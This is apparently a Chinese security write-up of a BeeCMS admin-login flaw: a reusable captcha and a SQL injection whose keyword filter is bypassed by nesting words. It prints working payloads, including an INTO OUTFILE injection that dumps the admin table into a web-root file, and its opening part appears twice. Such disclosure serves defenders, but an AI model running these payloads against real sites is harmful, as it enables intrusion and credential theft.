### 后台登录处验证码设计缺陷漏洞 首先是后台登录页面`/admin/login.php`验证码形同虚设,一次验证后在不刷新的情况下可以多次提交请求。这就为这里的注入提供了前提条件。  ### SQL Injection 在`admin/login.php`中,登录处的核心代码是: ```php //判断登录 elseif($action=='ck_login'){ global $submit,$user,$password,$_sys,$code; $submit=$_POST['submit']; $user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); $code=$_POST['code']; if(!isset($submit)){ msg('请从登陆页面进入'); } if(empty($user)||empty($password)){ msg("密码或用户名不能为空"); } if(!empty($_sys['safe_open'])){ foreach($_sys['safe_open'] as $k=>$v){ if($v=='3'){ if($code!=$s_code){msg("验证码不正确!");} } } } check_login($user,$password); } ``` 看到此处对输入的用户名和密码进行的操作: ```php $user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); ``` 定位到函数fl_value 和 函数 fl_html : (都位于/includes/fun.php下面) ```php function fl_value($str){ if(empty($str)){return;} return preg_replace('/select|insert | update | and | in |...
### 后台登录处验证码设计缺陷漏洞 首先是后台登录页面`/admin/login.php`验证码形同虚设,一次验证后在不刷新的情况下可以多次提交请求。这就为这里的注入提供了前提条件。  ### SQL Injection 在`admin/login.php`中,登录处的核心代码是: ```php //判断登录 elseif($action=='ck_login'){ global $submit,$user,$password,$_sys,$code; $submit=$_POST['submit']; $user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); $code=$_POST['code']; if(!isset($submit)){ msg('请从登陆页面进入'); } if(empty($user)||empty($password)){ msg("密码或用户名不能为空"); } if(!empty($_sys['safe_open'])){ foreach($_sys['safe_open'] as $k=>$v){ if($v=='3'){ if($code!=$s_code){msg("验证码不正确!");} } } } check_login($user,$password); } ``` 看到此处对输入的用户名和密码进行的操作: ```php $user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); ``` 定位到函数fl_value 和 函数 fl_html : (都位于/includes/fun.php下面) ```php function fl_value($str){ if(empty($str)){return;} return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/i','',$str); } function fl_html($str){ return htmlspecialchars($str); } ``` 可以看到fl_html函数过滤了一些可能引起XSS的字符,而 函数 fl_value则是对输入的关键字进行了过滤,可以看到,几乎常用的SQL关键字都被过滤掉了,这个时候看看preg_replace()函数中的正则表达式,经过几次尝试,得到了Bypass的方法: 具体规则如下: ``` union => uni union on select => selselectect outfile => outoutfilefile into => into …… ``` 同时,登录SQL执行代码在fun.php中,如下: ```php function check_login($user,$password){ $rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1"); $rel=empty($rel)?'':$rel[0]; if(empty($rel)){ msg('不存在该管理用户','login.php'); } $password=md5($password); if($password!=$rel['admin_password']){ msg("输入的密码不正确"); } if($rel['is_disable']){ msg('该账号已经被锁定,无法登陆'); } $_SESSION['admin']=$rel['admin_name']; $_SESSION['admin_purview']=$rel['admin_purview']; $_SESSION['admin_id']=$rel['id']; $_SESSION['admin_time']=time(); $_SESSION['login_in']=1; $_SESSION['login_time']=time(); $ip=fl_value(get_ip()); $ip=fl_html($ip); $_SESSION['admin_ip']=$ip; unset($rel); header("location:admin.php"); } ``` 可以知道字段数为5,下面通过构造语句: ```sql admin' uni union on selselectect 1,2,3,4,5--%20 ``` 可以看到返回了正常页面:(check_login可知SQL是先执行username查询之后再验证密码的,所以如下输入结果正常)  知道了这个注入规则之后,就有各种各样的注入方法了,下面我使用了一种可以直接拿到管理员账号密码的: 如:(本地环境测试的) 注入如下语句: ``` user=admin' uni union on selselectect 1,2,3,4,5 '' in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20 ``` 目的是在网站根目录下新建a.php文件,可以记录表 bees_admin里面的信息在a.php里面(由于函数hl_html的过滤导致不能直接上传<?php ?> php木马)。效果图如下:  此时,网站根目录下面已经产生了a.php这个文件了,如下所示:  a.php里面前面的部分为bees_admin表里面的admin所对应的内容,后面的1~5则是为了补全select语法在payload里面写的内容。这样的话,就可以拿管理员登录后台了。 当然,注入手法很多,知道了这个规则,各种注入就可以上场了。 ### 修复建议 fl_value函数的正则验证需要加强~